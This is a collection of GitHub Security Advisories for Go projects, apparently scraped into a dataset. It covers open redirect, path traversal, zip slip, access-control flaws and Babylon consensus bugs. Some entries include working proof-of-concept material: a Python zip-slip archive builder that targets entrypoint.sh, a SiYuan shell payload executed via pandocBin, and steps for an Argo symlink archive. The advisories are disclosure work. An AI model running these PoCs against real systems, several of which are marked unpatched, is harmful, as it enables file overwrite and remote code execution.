deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-wqv2-4wpg-8hc9
Package: miniflux.app/v2 (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: <= 2.2.14
Patched in: 2.2.15

Summary: Miniflux has an Open Redirect via protocol-relative redirect_url

Details:
### Summary
`redirect_url` is treated as safe when `url.Parse(...).IsAbs()` is false. Protocol-relative URLs like `//ikotaslabs.com` have an empty scheme and pass that check, allowing post-login redirects to attacker-controlled sites.

### Details
- `url.Parse("//ikotaslabs.com")` => empty Scheme, Host="ikotaslabs.com".
- `IsAbs()` returns false for `//ikotaslabs.com`, so the code treats it as allowed.
- Browser resolves `//ikotaslabs.com` to current-origin scheme (e.g. `https://ikotaslabs.com`), enabling phishing flows after login.

### PoC
1. Send or visit: `http://localhost/login?redirect_url=//ikotaslabs.com`  
2. Complete normal login flow.  
3. After login the app redirects to `https://ikotaslabs.com` (or `http://` depending on origin).

### Acknowledgements  
This vulnerability was discovered using the automated vulnerability analysis tools **VulScribe** and **PwnML**.   The research and tool development were conducted  with support from the **MITOU Advanced Program (未踏アドバンスト事業)**, implemented by the **Information-technology Promotion Agency (IPA), Japan**.
GitHub Security Advisory: GHSA-mjcp-gpgx-ggcg
Package: github.com/opentofu/opentofu (GO)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-296: Improper Following of a Certificate's Chain of Trust, CWE-1395: Dependency on Vulnerable Third-Party Component
Vulnerable versions: < 1.10.8
Patched in: 1.10.8

Summary: OpenTofu incorrectly validates excluded subdomain constraint in conjunction with TLS certificates containing wildcard SANs

Details:
When OpenTofu is acting as a TLS client authenticating a certificate chain provided by a TLS server, an excluded subdomain constraint in a certificate chain does not restrict the usage of wildcard [SANs](https://en.wikipedia.org/wiki/Public_key_certificate#Subject_Alternative_Name_certificate) in the leaf certificate.

For example a constraint that excludes the subdomain test.example.com does not prevent a leaf certificate from claiming the SAN *.example.com.

### Details

When acting as a TLS client, OpenTofu relies on the implementation of TLS certificate verification from the standard library of the Go programming language.

The Go project has recently published the following advisory for that which indirectly affects OpenTofu's behavior:

- [CVE-2025-61727](https://www.cve.org/CVERecord?id=CVE-2025-61727): Improper application of excluded DNS name constraints when verifying wildcard names in crypto/x509

OpenTofu acts as a TLS client when calling a module or provider registry to request metadata, when downloading module or provider packages from "https" URLs, and when interacting with remote services for state storage and encryption. In these situations, OpenTofu could potentially accept as valid a certificate chain containing conflicting information about whether it is valid for the target hostname.

All certificates in the chain are still checked separately for validity, and so a successful attack requires an attacker-controlled server to produce a chain of valid-but-contradictory certificates and have access to the private keys associated with each one, and for the attacker to then arrange for OpenTofu to attempt to connect to the affected hostname.

### Patches

OpenTofu v1.10.8 addresses these vulnerabilities by being built against Go 1.24.11, which contains an improved version of the upstream implementation.

The OpenTofu v1.9 and v1.8 series are also affected by these vulnerabilities. However, those series are built with a version of Go for which no upstream fix is available. Adopting Go 1.24.11 for those series would effectively end support for certain versions of macOS and Linux, and the OpenTofu Project has determined that the impact of these vulnerabilities is not high enough to justify that disruption in a patch release. For those using the OpenTofu v1.9 or v1.8 releases we recommend planning to upgrade to OpenTofu v1.10.8 in the near future.
GitHub Security Advisory: GHSA-jv3w-x3r3-g6rm
Package: github.com/containernetworking/plugins (GO)
Severity: MODERATE (CVSS 6.6)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 1.6.0, < 1.9.0
Patched in: 1.9.0

Summary: CNA Plugins Portmap nftables backend can intercept non-local traffic

Details:
### Background

The CNI `portmap` plugin allows containers to emulate opening a host port, forwarding that traffic to the container. For example, if a host has the IP 198.51.100.42, a container may request that all packets to `198.51.100.42:53` be forwarded to the container's network.

### Vulnerability

When the `portmap` plugin is configured with the `nftables` backend, it inadvertently forwards all traffic with the same destination port as the host port, **ignoring the destination IP**. This includes traffic not intended for the node itself, i.e. traffic to containers hosted on the node.

In the given example above, traffic destined to port 53 but for a _separate container_ would still be captured and forwarded, even though it was not destined for the host.

### Impact

Containers (i.e. kubernetes pods) that request HostPort forwarding can intercept all traffic destined for that port. This requires that the `portmap` plugin be explicitly configured to use the `nftables` backend. (The `iptables` backend is the default.)

### Patches
This is fixed as of CNI plugins v1.9.0

### Workarounds
Configure the `portmap` plugin to use the `iptables` backend. It does not have this vulnerability.
GitHub Security Advisory: GHSA-99m2-qwx6-2w6f
Package: github.com/usememos/memos (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-284: Improper Access Control
Vulnerable versions: < 0.25.3
Patched in: 0.25.3

Summary: memos vulnerability allows arbitrarily modification or deletion registered identity providers

Details:
Incorrect access control in the Identity Provider service of usememos memos v0.25.2 allows attackers with low-level privileges to arbitrarily modify or delete registered identity providers, leading to an account takeover or Denial of Service (DoS).
GitHub Security Advisory: GHSA-4r66-7rcv-x46x
Package: github.com/siyuan-note/siyuan/kernel (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 0.0.0[PII_REDACTED]3337-6ef83b42c7ce
Patched in: unpatched

Summary: SiYuan vulnerable to RCE via zip slip and Command Injection via PandocBin

Details:
### Summary
Siyuan is vulnerable to RCE. The issue stems from a "Zip Slip" vulnerability during zip file extraction, combined with the ability to overwrite system executables and subsequently trigger their execution.

### Steps to reproduce
1. Authenticate
2. Create zip slip payload with path traversal entry `../../../../opt/siyuan/startup.sh`. startup.sh contains malicious code like:
```bash
#!/bin/sh
echo 'you have been pwned' > /siyuan/workspace/data/pwned.txt
echo "pandoc 3.1.0"
```
3. Upload zip to workspace via `/api/file/putFile`
4. Extract zip via `/api/archive/unzip`, overwrites the existing executable `startup.sh` while maintaining the +x permission
5. Trigger execution by calling `/api/setting/setExport` with `pandocBin=/opt/siyuan/startup.sh`. This calls `IsValidPandocBin()` which executes `startup.sh --version` that outputs "pandoc 3.1.0" and executes any arbitrary malicious code
GitHub Security Advisory: GHSA-gqfv-g4v7-m366
Package: github.com/siyuan-note/siyuan/kernel (GO)
Severity: HIGH (CVSS 7.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 0.0.0[PII_REDACTED]3337-6ef83b42c7ce
Patched in: unpatched

Summary: SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE

Details:
### Summary
Function [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190) is vulnerable to **ZipSlip** which allows an authenticated user to overwrite files on the system.

### Details
An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is  [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190), this can escalate to full code execution under some circumstances, for example using the official **docker image** it is possible to overwrite **entrypoint.sh** and after a container restart it will execute the changed code causing remote code execution.

### PoC
Code used to generate the ZipSlip:
```python
#!/usr/bin/env python3
import sys, base64, zipfile, io, time

def prepare_zipslip(filename):
    orgfile1 = open('Test.md','rb').read()
    payload =  open('entrypoint.sh','rb').read() #b"testpayload"
    
    zipslip = io.BytesIO()
    with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:        
        info = zipfile.ZipInfo('Test.md')
        mtime = time.time()
        t = time.localtime(mtime)
        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
        zipf.writestr(info, orgfile1)
        
        info = zipfile.ZipInfo(filename)
        mtime = time.time()
        t = time.localtime(mtime)
        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
        zipf.writestr(info, payload)
    return zipslip.getvalue()

gz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh')
open('exp.zip', 'wb').write(gz)
```

### Impact
The exploit is possible only if the attacker has access to **import** functionality. It's possible to achieve code execution and some persistence within the container
GitHub Security Advisory: GHSA-xrqc-7xgx-c9vh
Package: github.com/argoproj/argo-workflows (GO)
Severity: HIGH (CVSS 8.1)
CWE: CWE-23: Relative Path Traversal, CWE-59: Improper Link Resolution Before File Access ('Link Following'), CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 2.5.3-rc4
Patched in: unpatched

Summary:  RCE via ZipSlip and symbolic links in argoproj/argo-workflows

Details:
### Summary
The patch deployed against CVE-2025-62156 is ineffective against malicious archives containing symbolic links.

### Details
The untar code that handles symbolic links in archives is unsafe. Concretely, the computation of the link's target and the subsequent check are flawed: 
https://github.com/argoproj/argo-workflows/blob/5291e0b01f94ba864f96f795bb500f2cfc5ad799/workflow/executor/executor.go#L1034-L1037

### PoC
1. Create a malicious archive containing two files: a symbolik link with path "./work/foo" and target "/etc", and a normal text file with path "./work/foo/hostname".
2. Deploy a workflow like the one in https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p84v-gxvw-73pf with the malicious archive mounted at /work/tmp.
3. Submit the workflow and wait for its execution. 
4. Connect to the corresponding pod and observe that the file "/etc/hostname" was altered by the untar operation performed on the malicious archive. The attacker can hence alter arbitrary files in this way. 

### Impact
The attacker can overwrite the file /var/run/argo/argoexec with a script of their choice, which will be executed at the pod's start.
GitHub Security Advisory: GHSA-xrqc-7xgx-c9vh
Package: github.com/argoproj/argo-workflows/v3 (GO)
Severity: HIGH (CVSS 8.1)
CWE: CWE-23: Relative Path Traversal, CWE-59: Improper Link Resolution Before File Access ('Link Following'), CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: < 3.6.14
Patched in: 3.6.14

Summary:  RCE via ZipSlip and symbolic links in argoproj/argo-workflows

Details:
### Summary
The patch deployed against CVE-2025-62156 is ineffective against malicious archives containing symbolic links.

### Details
The untar code that handles symbolic links in archives is unsafe. Concretely, the computation of the link's target and the subsequent check are flawed: 
https://github.com/argoproj/argo-workflows/blob/5291e0b01f94ba864f96f795bb500f2cfc5ad799/workflow/executor/executor.go#L1034-L1037

### PoC
1. Create a malicious archive containing two files: a symbolik link with path "./work/foo" and target "/etc", and a normal text file with path "./work/foo/hostname".
2. Deploy a workflow like the one in https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p84v-gxvw-73pf with the malicious archive mounted at /work/tmp.
3. Submit the workflow and wait for its execution. 
4. Connect to the corresponding pod and observe that the file "/etc/hostname" was altered by the untar operation performed on the malicious archive. The attacker can hence alter arbitrary files in this way. 

### Impact
The attacker can overwrite the file /var/run/argo/argoexec with a script of their choice, which will be executed at the pod's start.
GitHub Security Advisory: GHSA-xrqc-7xgx-c9vh
Package: github.com/argoproj/argo-workflows/v3 (GO)
Severity: HIGH (CVSS 8.1)
CWE: CWE-23: Relative Path Traversal, CWE-59: Improper Link Resolution Before File Access ('Link Following'), CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: >= 3.7.0, < 3.7.5
Patched in: 3.7.5

Summary:  RCE via ZipSlip and symbolic links in argoproj/argo-workflows

Details:
### Summary
The patch deployed against CVE-2025-62156 is ineffective against malicious archives containing symbolic links.

### Details
The untar code that handles symbolic links in archives is unsafe. Concretely, the computation of the link's target and the subsequent check are flawed: 
https://github.com/argoproj/argo-workflows/blob/5291e0b01f94ba864f96f795bb500f2cfc5ad799/workflow/executor/executor.go#L1034-L1037

### PoC
1. Create a malicious archive containing two files: a symbolik link with path "./work/foo" and target "/etc", and a normal text file with path "./work/foo/hostname".
2. Deploy a workflow like the one in https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p84v-gxvw-73pf with the malicious archive mounted at /work/tmp.
3. Submit the workflow and wait for its execution. 
4. Connect to the corresponding pod and observe that the file "/etc/hostname" was altered by the untar operation performed on the malicious archive. The attacker can hence alter arbitrary files in this way. 

### Impact
The attacker can overwrite the file /var/run/argo/argoexec with a script of their choice, which will be executed at the pod's start.
GitHub Security Advisory: GHSA-mg56-wc4q-rw4w
Package: github.com/usememos/memos (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-284: Improper Access Control
Vulnerable versions: < 0.25.3
Patched in: 0.25.3

Summary: memos vulnerability allows the creation of arbitrary accounts

Details:
Incorrect access control in the /api/v1/user endpoint of usememos memos v0.25.2 allows unauthorized attackers to create arbitrary accounts via a crafted request.
GitHub Security Advisory: GHSA-qgjp-5g5x-vhq2
Package: github.com/usememos/memos (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-73: External Control of File Name or Path
Vulnerable versions: < 0.25.3
Patched in: 0.25.3

Summary: memos lacks file name validation or verification

Details:
A lack of file name validation or verification in the Attachment service of usememos memos v0.25.2 allows attackers to execute a path traversal.
GitHub Security Advisory: GHSA-8p44-g572-557h
Package: github.com/usememos/memos (GO)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-284: Improper Access Control
Vulnerable versions: < 0.25.3
Patched in: 0.25.3

Summary: memos vulnerability allows arbitrarily modification or deletion of attachments

Details:
Incorrect access control in usememos memos v0.25.2 allows attackers with low-level privileges to arbitrarily modify or delete attachments made by other users.
GitHub Security Advisory: GHSA-8jcj-g9f4-qx42
Package: github.com/usememos/memos (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-284: Improper Access Control
Vulnerable versions: < 0.25.3
Patched in: 0.25.3

Summary: memos vulnerability allows arbitrarily reactions deletion

Details:
Incorrect access control in usememos memos v0.25.2 allows attackers with low-level privileges to arbitrarily delete reactions made to other users' Memos.
GitHub Security Advisory: GHSA-4rmq-mc2c-r495
Package: github.com/babylonlabs-io/babylon (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-459: Incomplete Cleanup
Vulnerable versions: <= 1.1.0
Patched in: unpatched

Summary: Babylon Incorrect FP inactive accounting in costaking creates “phantom stake” that earns rewards after BTC unbond

Details:
### Summary

A state consistency bug in `x/costaking` can leave a BTC delegator with non-zero `ActiveSatoshis` (Phatom Stake) even after they have fully unbonded their BTC delegation, if their Finality Provider (FP) drops out of the active set in the exact same babylon block height. This creates a “phantom stake”: the delegator’s BTC capital is withdrawn, the FP is inactive, but costaking continues to treat the delegation as active BTC stake allowing ongoing rewards accrual without backing BTC.

### Impact

An address can keep earning costaking rewards with zero BTC staked.

Reported by @BottyBott.
GitHub Security Advisory: GHSA-4rmq-mc2c-r495
Package: github.com/babylonlabs-io/babylon/v2 (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-459: Incomplete Cleanup
Vulnerable versions: <= 2.3.2
Patched in: unpatched

Summary: Babylon Incorrect FP inactive accounting in costaking creates “phantom stake” that earns rewards after BTC unbond

Details:
### Summary

A state consistency bug in `x/costaking` can leave a BTC delegator with non-zero `ActiveSatoshis` (Phatom Stake) even after they have fully unbonded their BTC delegation, if their Finality Provider (FP) drops out of the active set in the exact same babylon block height. This creates a “phantom stake”: the delegator’s BTC capital is withdrawn, the FP is inactive, but costaking continues to treat the delegation as active BTC stake allowing ongoing rewards accrual without backing BTC.

### Impact

An address can keep earning costaking rewards with zero BTC staked.

Reported by @BottyBott.
GitHub Security Advisory: GHSA-4rmq-mc2c-r495
Package: github.com/babylonlabs-io/babylon/v3 (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-459: Incomplete Cleanup
Vulnerable versions: <= 3.0.0-snapshot.250805a
Patched in: unpatched

Summary: Babylon Incorrect FP inactive accounting in costaking creates “phantom stake” that earns rewards after BTC unbond

Details:
### Summary

A state consistency bug in `x/costaking` can leave a BTC delegator with non-zero `ActiveSatoshis` (Phatom Stake) even after they have fully unbonded their BTC delegation, if their Finality Provider (FP) drops out of the active set in the exact same babylon block height. This creates a “phantom stake”: the delegator’s BTC capital is withdrawn, the FP is inactive, but costaking continues to treat the delegation as active BTC stake allowing ongoing rewards accrual without backing BTC.

### Impact

An address can keep earning costaking rewards with zero BTC staked.

Reported by @BottyBott.
GitHub Security Advisory: GHSA-4rmq-mc2c-r495
Package: github.com/babylonlabs-io/babylon/v4 (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-459: Incomplete Cleanup
Vulnerable versions: < 4.2.0
Patched in: 4.2.0

Summary: Babylon Incorrect FP inactive accounting in costaking creates “phantom stake” that earns rewards after BTC unbond

Details:
### Summary

A state consistency bug in `x/costaking` can leave a BTC delegator with non-zero `ActiveSatoshis` (Phatom Stake) even after they have fully unbonded their BTC delegation, if their Finality Provider (FP) drops out of the active set in the exact same babylon block height. This creates a “phantom stake”: the delegator’s BTC capital is withdrawn, the FP is inactive, but costaking continues to treat the delegation as active BTC stake allowing ongoing rewards accrual without backing BTC.

### Impact

An address can keep earning costaking rewards with zero BTC staked.

Reported by @BottyBott.
GitHub Security Advisory: GHSA-m6wq-66p2-c8pc
Package: github.com/babylonlabs-io/babylon (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-476: NULL Pointer Dereference
Vulnerable versions: <= 1.1.0
Patched in: unpatched

Summary: Babylon Nil BlockHash in BLS vote extensions triggers panics in consensus handlers

Details:
### Summary

A vulnerability exists in Babylon’s BLS vote extension processing where a malicious active validator can submit a VoteExtension with the `block_hash` field omitted from the protobuf serialization. Because protobuf fields are optional, unmarshalling succeeds but leaves `BlockHash` as nil. Babylon then dereferences this nil pointer in consensus-critical code paths (notably `VerifyVoteExtension`, and also proposal-time vote verification), causing a runtime panic.

### Impact

Intermittent validator crashes at epoch boundaries, which would slow down the creation of the epoch boundary block.

### Finder 

Vulnerability discovered by:

- @GrumpyLaurie55348
GitHub Security Advisory: GHSA-m6wq-66p2-c8pc
Package: github.com/babylonlabs-io/babylon/v2 (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-476: NULL Pointer Dereference
Vulnerable versions: <= 2.3.2
Patched in: unpatched

Summary: Babylon Nil BlockHash in BLS vote extensions triggers panics in consensus handlers

Details:
### Summary

A vulnerability exists in Babylon’s BLS vote extension processing where a malicious active validator can submit a VoteExtension with the `block_hash` field omitted from the protobuf serialization. Because protobuf fields are optional, unmarshalling succeeds but leaves `BlockHash` as nil. Babylon then dereferences this nil pointer in consensus-critical code paths (notably `VerifyVoteExtension`, and also proposal-time vote verification), causing a runtime panic.

### Impact

Intermittent validator crashes at epoch boundaries, which would slow down the creation of the epoch boundary block.

### Finder 

Vulnerability discovered by:

- @GrumpyLaurie55348
GitHub Security Advisory: GHSA-m6wq-66p2-c8pc
Package: github.com/babylonlabs-io/babylon/v3 (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-476: NULL Pointer Dereference
Vulnerable versions: <= 3.0.0-snapshot.250805a
Patched in: unpatched

Summary: Babylon Nil BlockHash in BLS vote extensions triggers panics in consensus handlers

Details:
### Summary

A vulnerability exists in Babylon’s BLS vote extension processing where a malicious active validator can submit a VoteExtension with the `block_hash` field omitted from the protobuf serialization. Because protobuf fields are optional, unmarshalling succeeds but leaves `BlockHash` as nil. Babylon then dereferences this nil pointer in consensus-critical code paths (notably `VerifyVoteExtension`, and also proposal-time vote verification), causing a runtime panic.

### Impact

Intermittent validator crashes at epoch boundaries, which would slow down the creation of the epoch boundary block.

### Finder 

Vulnerability discovered by:

- @GrumpyLaurie55348
GitHub Security Advisory: GHSA-m6wq-66p2-c8pc
Package: github.com/babylonlabs-io/babylon/v4 (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-476: NULL Pointer Dereference
Vulnerable versions: < 4.2.0
Patched in: 4.2.0

Summary: Babylon Nil BlockHash in BLS vote extensions triggers panics in consensus handlers

Details:
### Summary

A vulnerability exists in Babylon’s BLS vote extension processing where a malicious active validator can submit a VoteExtension with the `block_hash` field omitted from the protobuf serialization. Because protobuf fields are optional, unmarshalling succeeds but leaves `BlockHash` as nil. Babylon then dereferences this nil pointer in consensus-critical code paths (notably `VerifyVoteExtension`, and also proposal-time vote verification), causing a runtime panic.

### Impact

Intermittent validator crashes at epoch boundaries, which would slow down the creation of the epoch boundary block.

### Finder 

Vulnerability discovered by:

- @GrumpyLaurie55348